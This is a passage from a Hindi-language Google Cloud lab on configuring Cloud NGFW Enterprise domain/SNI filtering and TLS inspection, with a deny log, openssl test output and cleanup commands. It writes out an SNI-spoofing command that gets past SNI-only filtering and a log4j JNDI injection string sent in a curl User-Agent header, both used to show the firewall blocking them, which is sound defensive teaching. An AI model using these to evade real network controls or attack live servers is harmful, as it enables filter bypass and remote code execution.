      "securityProfileGroupId": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg",
      "organizationId": "$org_id"
    },
    "action": "DENY",
    "interceptVpc": {
      "vpc": "$prefix-vpc",
      "projectId": "$project_id"
    },
    "connection": {
      "serverIp": "45.112.84.18",
      "clientIp": "10.0.0.2",
      "protocol": "TCP",
      "serverPort": 443,
      "clientPort": 45720
    },
    "@type": "type.googleapis.com/google.cloud.networksecurity.logging.v1.URLFilterLog",
    "applicationLayerDetails": {
      "uri": "",
      "protocol": "PROTOCOL_UNSPECIFIED"
    },
    "sessionLayerDetails": {
      "sni": "www.php.net",
      "protocolVersion": "TLS1_2"
    },
    "interceptInstance": {
      "zone": "$zone",
      "projectId": "$project_id",
      "vm": "$prefix-$zone-client"
    },
    "detectionTime": "2025-09-20T04:37:57.345031164Z",
    "direction": "CLIENT_TO_SERVER",
    "ruleIndex": 1500,
    "uriMatched": "",
    "denyType": "SNI"
  },
  "resource": {
    "type": "networksecurity.googleapis.com/FirewallEndpoint",
    "labels": {
      "id": "$prefix-$zone",
      "resource_container": "organizations/$org_id",
      "location": "$zone"
    }
  },
  "timestamp": "2025-09-20T04:38:03.757200395Z",
  "logName": "projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter",
  "receiveTimestamp": "2025-09-20T04:38:03.757200395Z"
}

ऊपर दिए गए उदाहरण में, अनुरोध अस्वीकार होने पर लॉग किया गया अनुरोध दिखाया गया है. यह अनुरोध www.php.net के लिए किया गया था, जो सुरक्षा प्रोफ़ाइल में मौजूद नियम 1500 से मेल खाता है. इसी तरह, फ़ैसले लेने के लिए एसएनआई से मिलान किया गया.

17. एसएनआई स्पूफिंग मौजूद होने पर नियमों की पुष्टि करना

परिचय में बताया गया है कि NGFW Enterprise, एचटीटीपी ट्रैफ़िक के लिए एचटीटीपी होस्ट हेडर या टीएलएस एन्क्रिप्ट (सुरक्षित) किए गए ट्रैफ़िक के लिए एसएनआई देख सकता है. कोई भी व्यक्ति, एसएनआई को स्पूफ़ कर सकता है. ऐसा करने पर क्या होगा?

आइए, इस व्यवहार की पुष्टि करते हैं. आईएपी के ज़रिए वीएम से एसएसएच कनेक्शन शुरू करें:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

एसएनआई को स्पूफ़ करने के लिए, openssl की यह कमांड चलाएं:

openssl s_client -connect www.google.com:443 -servername ifconfig.me

ऊपर दिए गए उदाहरण में, यह उम्मीद की जाती है कि .com और .net डोमेन के अनुरोध ब्लॉक कर दिए जाएंगे. साथ ही, अन्य टीएलडी को अनुमति दी जाएगी. यहां स्पूफ़ किए गए जवाब का एक उदाहरण दिया गया है. अनुरोध www.google.com को भेजा गया है, जिसे ब्लॉक किया जाना चाहिए. हालांकि, www.google.com का एसएनआई भेजने के बजाय, हम ifconfig.me का एसएनआई तय कर रहे हैं. नीति, एसएनआई की जांच करती है. इसलिए, इसे "अनुमति वाला" डोमेन माना जाएगा और इसे अनुमति दे दी जाएगी. google.com से टीएलएस कनेक्शन बनाया गया.

.

अनुमानित आउटपुट:

CONNECTED(00000003)
depth=2 C = US, O = Google Trust Services LLC, CN = GTS Root R1
verify return:1
depth=1 C = US, O = Google Trust Services, CN = WR2
verify return:1
depth=0 CN = www.google.com
verify return:1
---
Certificate chain
 0 s:CN = www.google.com
   i:C = US, O = Google Trust Services, CN = WR2
   a:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA256
   v:NotBefore: Sep  8 08:37:54 2025 GMT; NotAfter: Dec  1 08:37:53 2025 GMT
 1 s:C = US, O = Google Trust Services, CN = WR2
   i:C = US, O = Google Trust Services LLC, CN = GTS Root R1
   a:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA256
   v:NotBefore: Dec 13 09:00:00 2023 GMT; NotAfter: Feb 20 14:00:00 2029 GMT
 2 s:C = US, O = Google Trust Services LLC, CN = GTS Root R1
   i:C = BE, O = GlobalSign nv-sa, OU = Root CA, CN = GlobalSign Root CA
   a:PKEY: rsaEncryption, 4096 (bit); sigalg: RSA-SHA256
   v:NotBefore: Jun 19 00:00:42 2020 GMT; NotAfter: Jan 28 00:00:42 2028 GMT
---
Server certificate
-----BEGIN CERTIFICATE-----
MIIFIjCCBAqgAwIBAgIRAM14YrdibR1qCrCsFSaLpS0wDQYJKoZIhvcNAQELBQAw
OzELMAkGA1UEBhMCVVMxHjAcBgNVBAoTFUdvb2dsZSBUcnVzdCBTZXJ2aWNlczEM
MAoGA1UEAxMDV1IyMB4XDTI1MDkwODA4Mzc1NFoXDTI1MTIwMTA4Mzc1M1owGTEX
MBUGA1UEAxMOd3d3Lmdvb2dsZS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQC70XEda08twtQq8yhHAP5LJDIIvyOLrUMP3EnttHXtYH1t0W2isAFp
z1l+3kTV+j/0LYNtTHYeeR+VtyGyPvmmMC/BQ8hkYBxtO2XNSDuF5Avw0lIsTGSN
O0DxsRp8wSEc3h/xQrEPlXrI301y7136VTw79vQwhU0sAhzArBk1Kak2tGCrGUpL
TtiMD6pm1PEtvwY4jeei8n9467JsFs4De9nv/W/Y23XYqfilAT2vaehvxAiByEeU
5U0DCiKGPzR02sA3aExxjKRbhmHugGM0LceTLdp2+a4hJUBqOgck66HMTGEvhq4B
Mdn5N/KBBdGovoAxf1EiO+h8EWsDXkdVAgMBAAGjggJBMIICPTAOBgNVHQ8BAf8E
BAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQUDbnpqw80izeJW//holp4bVObRRUwHwYDVR0jBBgwFoAU3hse7XkV1D43JMMh
u+w0OW1CsjAwWAYIKwYBBQUHAQEETDBKMCEGCCsGAQUFBzABhhVodHRwOi8vby5w
a2kuZ29vZy93cjIwJQYIKwYBBQUHMAKGGWh0dHA6Ly9pLnBraS5nb29nL3dyMi5j
cnQwGQYDVR0RBBIwEIIOd3d3Lmdvb2dsZS5jb20wEwYDVR0gBAwwCjAIBgZngQwB
AgEwNgYDVR0fBC8wLTAroCmgJ4YlaHR0cDovL2MucGtpLmdvb2cvd3IyL29CRllZ
YWh6Z1ZJLmNybDCCAQQGCisGAQQB1nkCBAIEgfUEgfIA8AB1AMz7D2qFcQll/pWb
U87psnwi6YVcDZeNtql+VMD+TA2wAAABmSiwb7kAAAQDAEYwRAIgUgwfOTyMz1t2
IoMnKJ53W+kZw7Jsu32WvzgsckwoVUsCIF13LpnKVkz4nb5ns+gCV9cmXtjrOIYR
los6Y3B55Zc4AHcAEvFONL1TckyEBhnDjz96E/jntWKHiJxtMAWE6+WGJjoAAAGZ
KLBu2wAABAMASDBGAiEAs7m+95jkhA5h/ycpQu8uLo2AZsIpOX6BvJiycuvgMJsC
IQC6O2leGpUvSExL6fYvpVba3mrNVlw1a5u8OFI7NSguhTANBgkqhkiG9w0BAQsF
AAOCAQEAa9vVQ6zoBODliAAhLTG3uYaQZevaE96lOdD0jnRw/u3EzNL4UnDED/O+
x8XNvv5njb5MsntnYUgQda3nNtYfpGe6qvuYhyiBegdzqBsHVik4Rzlp/YeMGAV/
zqKl+Wtg5iCjq4+yI3aLex36NeFA7n8SQbKc0n8PvmAF7Anh80H3A/XPaINTKueO
kBltI+iP9FPL64b5NbcNqeanibsOE/2tMImLF/7Kp1/5IFCq7UsR09mBRRfUbRyc
1Zp7ndj5sMLqqgCuF8wTaELMubN4pw5S9FdO7iWA254+NhXidnU8WNHadgR0OmWr
jr89HAhAtpQGEarldpmnJPMadHEcdw==
-----END CERTIFICATE-----
subject=CN = www.google.com
issuer=C = US, O = Google Trust Services, CN = WR2
---
No client certificate CA names sent
Peer signing digest: SHA256
Peer signature type: RSA-PSS
Server Temp Key: X25519, 253 bits
---
SSL handshake has read 4495 bytes and written 397 bytes
Verification: OK
---
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384
Server public key is 2048 bit
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
Early data was not sent
Verify return code: 0 (ok)
---

इस समस्या को हल करने में टीएलएस की जांच करने की सुविधा काम आ सकती है.

कनेक्शन बंद करें और वीएम से बाहर निकलें:

"ctrl" + c
exit

18. [ज़रूरी नहीं] टीएलएस की जांच

टीएलएस संसाधन कॉन्फ़िगर करना

यह सेक्शन वैकल्पिक है, क्योंकि डोमेन/एसएनआई फ़िल्टरिंग की सुविधा, टीएलएस की मदद से सुरक्षा जांच किए बिना काम करती है. हालांकि, अगर आपको खतरे से बचाव की सुविधा का इस्तेमाल करना है या आने वाले समय में जब पूरे यूआरएल को फ़िल्टर करने की सुविधा उपलब्ध हो, तब सुरक्षा प्रोफ़ाइल में पाथ पर आधारित नियम बनाने हैं, तो आपको टीएलएस की जांच करनी पड़ सकती है.

इसके अलावा, टीएलएस की जांच से पुष्टि की एक और लेयर मिलती है, क्योंकि एसएनआई स्पूफ़िंग की संभावना होती है.

सीए पूल बनाएं. इस संसाधन का इस्तेमाल, NGFW Enterprise के लिए जनरेट किए गए रूट सीए सर्टिफ़िकेट को सेव करने के लिए किया जाएगा.

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=devops

रूट सीए बनाएं. यह सीए सर्टिफ़िकेट है. इसका इस्तेमाल, NGFW Enterprise के ज़रिए किए गए अनुरोधों के लिए अतिरिक्त सर्टिफ़िकेट पर हस्ताक्षर करने के लिए किया जाएगा.

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Domain/SNI"

अगर आपको नीचे दिया गया मैसेज दिखता है, तो y जवाब दें:

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)?

कोई सेवा खाता बनाएं. इस सेवा खाते का इस्तेमाल, NGFW Enterprise के लिए सर्टिफ़िकेट का अनुरोध करने के लिए किया जाएगा:

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

सेवा खाते के लिए आईएएम अनुमतियां सेट करें:

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester

TLS नीति की YAML फ़ाइल बनाएं. इस फ़ाइल में, इन संसाधनों के बारे में जानकारी होगी:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

TLS कनेक्शन की जांच करने की नीति इंपोर्ट करें:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

टीएलएस चालू करने के लिए, एंडपॉइंट के साथ एसोसिएशन अपडेट करें:

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

CA सर्टिफ़िकेट पाएं और उसे क्लाइंट के CA स्टोर में जोड़ें. यह भरोसेमंद कनेक्शन के लिए ज़रूरी है, क्योंकि NGFW Enterprise, टीएलएस कनेक्शन बनाएगा और CA पूल से हस्ताक्षर किया गया सर्टिफ़िकेट दिखाएगा:

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

CA सर्टिफ़िकेट को क्लाइंट को ट्रांसफ़र करें:

gcloud compute scp --tunnel-through-iap  $prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

वीएम से SSH करें, CA सर्टिफ़िकेट को /usr/local/share/ca-certificates पर ले जाएं, और CA स्टोर को अपडेट करें:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv domain-sni-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

वीएम से बाहर निकलें और Cloud Shell पर जारी रखें.

टीएलएस की जांच के लिए फ़ायरवॉल के नियम को अपडेट करना

gcloud compute network-firewall-policies rules update 300 --action=apply_security_profile_group --firewall-policy=$prefix-fwpolicy  --global-firewall-policy --direction=EGRESS --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg --layer4-configs=tcp:80,tcp:443 --dest-ip-ranges=0.0.0.0/0 --enable-logging --tls-inspect

टीएलएस की सुरक्षा जांच के साथ नियमों की पुष्टि करना

आईएपी के ज़रिए वीएम से एसएसएच कनेक्शन शुरू करें:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

अनुमति वाले डेस्टिनेशन पर सैंपल अनुरोध भेजें:

curl https://wikipedia.org --max-time 2
curl https://ifconfig.me --max-time 2

इनमें कोई समस्या नहीं होनी चाहिए. अगर हमें सर्टिफ़िकेट की समीक्षा करनी है और यह पुष्टि करनी है कि सर्टिफ़िकेट पर NGFW के हस्ताक्षर हैं या नहीं, तो हम यह कमांड चला सकते हैं:

curl https://ifconfig.me --max-time 2 -vv

अनुमानित आउटपुट:

admin@domain-sni-us-west1-a-client:~$ curl https://ifconfig.me --max-time 2 -vv
*   Trying 34.160.111.145:443...
* Connected to ifconfig.me (34.160.111.145) port 443 (#0)
* ALPN: offers h2,http/1.1
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
*  CAfile: /etc/ssl/certs/ca-certificates.crt
*  CApath: /etc/ssl/certs
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
* TLSv1.3 (IN), TLS handshake, Certificate (11):
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
* TLSv1.3 (IN), TLS handshake, Finished (20):
* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.3 (OUT), TLS handshake, Finished (20):
* SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384
* ALPN: server did not agree on a protocol. Uses default.
* Server certificate:
*  subject: CN=ifconfig.me
*  start date: Sep 20 07:05:42 2025 GMT
*  expire date: Sep 21 06:58:10 2025 GMT
*  subjectAltName: host "ifconfig.me" matched cert's "ifconfig.me"
*  issuer: CN=Google Cloud Firewall Intermediate CA ID#5226903875461534691
*  SSL certificate verify ok.
* using HTTP/1.x
> GET / HTTP/1.1
> Host: ifconfig.me
> User-Agent: curl/7.88.1
> Accept: */*
> 
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
< HTTP/1.1 200 OK
< Content-Length: 10
< access-control-allow-origin: *
< content-type: text/plain
< date: Sat, 20 Sep 2025 07:05:43 GMT
< via: 1.1 google
< Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
< 
* Connection #0 to host ifconfig.me left intact
x.x.x.x

ऊपर दिए गए आउटपुट में, हम देख सकते हैं कि अनुरोध की टीएलएस जांच NGFW Enterprise कर रहा है. ऐसा इसलिए है, क्योंकि हमें जो सर्टिफ़िकेट मिला है उस पर Root CA के हस्ताक्षर हैं. यह Root CA हमने पहले बनाया था. (जारी करने वाले का फ़ील्ड)

टीएलएस की सुरक्षा जांच के साथ एसएनआई को स्पूफ़ करने की कोशिश करने वाले नियमों की पुष्टि करना

अब टीएलएस की जांच करने की सुविधा चालू हो गई है. इसलिए, आइए अब इसके काम करने के तरीके की पुष्टि करें.

एसएनआई को स्पूफ़ करने के लिए, openssl की यह कमांड चलाएं:

openssl s_client -connect www.google.com:443 -servername ifconfig.me

अनुमानित आउटपुट:

CONNECTED(00000003)
write:errno=104
---
no peer certificate available
---
No client certificate CA names sent
---
SSL handshake has read 0 bytes and written 317 bytes
Verification: OK
---
New, (NONE), Cipher is (NONE)
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
Early data was not sent
Verify return code: 0 (ok)
---

ऊपर दिए गए आउटपुट में, हम देखते हैं कि पहले काम करने वाला SNI स्पूफ़िंग अनुरोध, अब टीएलएस की जांच की सुविधा चालू होने पर काम नहीं कर रहा है. ऐसा इसलिए होता है, क्योंकि टीएलएस की जांच की सुविधा चालू होने पर, NGFW, एसएनआई की जांच सर्वर सर्टिफ़िकेट के सब्जेक्ट ऑल्टरनेटिव नेम (एसएएन) के हिसाब से करता है. अगर यह मैच नहीं करता है, तो टीएलएस हैंडशेक पूरा नहीं हो पाएगा.

टीएलएस की जांच की मदद से, डोमेन/एसएनआई की पुष्टि करना और खतरों को रोकना

अब हम उस टेस्ट को फिर से चलाएंगे जिसे पहले, अनुमति वाले डोमेन पर दुर्भावनापूर्ण (log4j) अनुरोध के लिए चलाया गया था.

अनुमति वाले डोमेन/एसएनआई डेस्टिनेशन को नुकसान पहुंचाने वाला (log4j) सैंपल भेजें:

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2

अनुमानित आउटपुट:

000

यह 000 रिस्पॉन्स कोड इसलिए है, क्योंकि किसी खतरे का पता चलने पर NGFW ने कनेक्शन बंद कर दिया था. पुष्टि करने के लिए, हम ज़्यादा जानकारी वाला आउटपुट इकट्ठा कर सकते हैं.

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 -vv

अनुमानित आउटपुट:

*   Trying 89.238.73.97:443...
* Connected to www.eicar.org (89.238.73.97) port 443 (#0)
* ALPN: offers h2,http/1.1
} [5 bytes data]
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
} [512 bytes data]
*  CAfile: /etc/ssl/certs/ca-certificates.crt
*  CApath: /etc/ssl/certs
{ [5 bytes data]
* TLSv1.3 (IN), TLS handshake, Server hello (2):
{ [122 bytes data]
* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
{ [6 bytes data]
* TLSv1.3 (IN), TLS handshake, Certificate (11):
{ [3423 bytes data]
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
{ [80 bytes data]
* TLSv1.3 (IN), TLS handshake, Finished (20):
{ [52 bytes data]
* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
} [1 bytes data]
* TLSv1.3 (OUT), TLS handshake, Finished (20):
} [52 bytes data]
* SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384
* ALPN: server did not agree on a protocol. Uses default.
* Server certificate:
*  subject: CN=www.eicar.org
*  start date: Sep 20 07:50:20 2025 GMT
*  expire date: Sep 21 10:41:22 2025 GMT
*  subjectAltName: host "www.eicar.org" matched cert's "www.eicar.org"
*  issuer: CN=Google Cloud Firewall Intermediate CA ID#4044393130040997148
*  SSL certificate verify ok.
* using HTTP/1.x
} [5 bytes data]
> GET / HTTP/1.1
> Host: www.eicar.org
> Accept: */*
> User-Agent: ${jndi:ldap://123.123.123.123:8055/a}
> 
* Recv failure: Connection reset by peer
* OpenSSL SSL_read: Connection reset by peer, errno 104
* Closing connection 0
} [5 bytes data]
* Send failure: Broken pipe
000

ऊपर दी गई जानकारी से पता चलता है कि NGFW ने टीएलएस की जांच की और नुकसान पहुंचाने वाले अनुरोध को ब्लॉक कर दिया.

वर्चुअल मशीन से बाहर निकलें:

exit

डेटा को हटाने के तरीके के बारे में जानने के लिए, अगले सेक्शन पर जाएं.

19. डेटा हटाने का तरीका

बेसिक सेटअप को हटाना

उदाहरण हटाएं:

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

Cloud Firewall की नेटवर्क नीति और उससे जुड़े असोसिएशन को हटाएं:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

Cloud Router और Cloud NAT को मिटाएं:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

आरक्षित किए गए आईपी पते मिटाएं:

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

क्लाउड फ़ायरवॉल एसपीजी और असोसिएशन को हटाना

सुरक्षा प्रोफ़ाइल ग्रुप और थ्रेट और यूआरएल फ़िल्टरिंग प्रोफ़ाइल को इस क्रम में मिटाएं:

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles url-filtering \
  delete $prefix-sp \
  --organization $org_id \
  --location=global

Cloud Firewall एंडपॉइंट का असोसिएशन मिटाएं:

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

Cloud फ़ायरवॉल एंडपॉइंट मिटाएं. इसमें करीब 20 मिनट लग सकते हैं:

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

ज़रूरी नहीं: पुष्टि करें कि Cloud NGFW एंडपॉइंट मिट गया है. इसके लिए, यहां दिया गया निर्देश चलाएं:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

एंडपॉइंट के लिए राज्य की जानकारी में यह दिखना चाहिए:

STATE: DELETING

प्रोसेस पूरी होने के बाद, एंडपॉइंट की जानकारी नहीं दिखेगी.

[ज़रूरी नहीं] टीएलएस क्लीन-अप

अगर आपने टीएलएस की जांच के लिए वैकल्पिक कॉन्फ़िगरेशन का इस्तेमाल किया है, तो टीएलएस संसाधनों को हटाने के लिए यहां दिए गए कमांड चलाएं..

TLS नीति मिटाने के लिए:

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

रूट सीए और सीए पूल को बंद करें और मिटाएं:

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

सबनेट और वीपीसी को हटाना

आखिर में, सबनेट और वीपीसी नेटवर्क मिटाएं:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

20. नतीजे और सुझाव

यह लैब बहुत आसान है. इसमें सिर्फ़ एक वीएम का इस्तेमाल करके इंटरनेट से कनेक्ट किया जाता है. असल दुनिया में, वीपीसी में कई संसाधन हो सकते हैं. साथ ही, ट्रैफ़िक सभी दिशाओं (उत्तर/दक्षिण और पूरब/पश्चिम) में जा सकता है. डोमेन/एसएनआई फ़िल्टर करने के लिए फ़ायरवॉल का नियम, EGRESS 0.0.0.0/0 है. इसलिए, यह "कैच ऑल" है और इसे नेटवर्क नीति में सबसे कम प्राथमिकता वाले नियम के तौर पर कॉन्फ़िगर करना ज़रूरी है. ऐसा न करने पर, ट्रैफ़िक अचानक मैच हो जाएगा और डिफ़ॉल्ट urlFiltering नियम के आधार पर उसे अनुमति दी जाएगी या अस्वीकार किया जाएगा.

इसके अलावा, दायरा सीमित करने के लिए नेटवर्क टाइप का इस्तेमाल करें. ऐसा इसलिए किया जाता है, ताकि E/W ट्रैफ़िक, नियम से मैच न हो. इसके अलावा, E/W ट्रैफ़िक के लिए, ज़्यादा प्राथमिकता वाला अनुमति देने का नियम बनाएं.

कृपया सबसे सही तरीकों से जुड़ा दस्तावेज़ देखें. इसमें डोमेन/एसएनआई फ़िल्टर करने के बारे में ज़्यादा जानकारी दी गई है.

21. बधाई हो!

बधाई हो, आपने डोमेन और एसएनआई फ़िल्टरिंग के लिए Cloud NGFW Enterprise को कॉन्फ़िगर करने की प्रोसेस पूरी कर ली है. साथ ही, टीएलएस की जांच करने का विकल्प भी चुना है!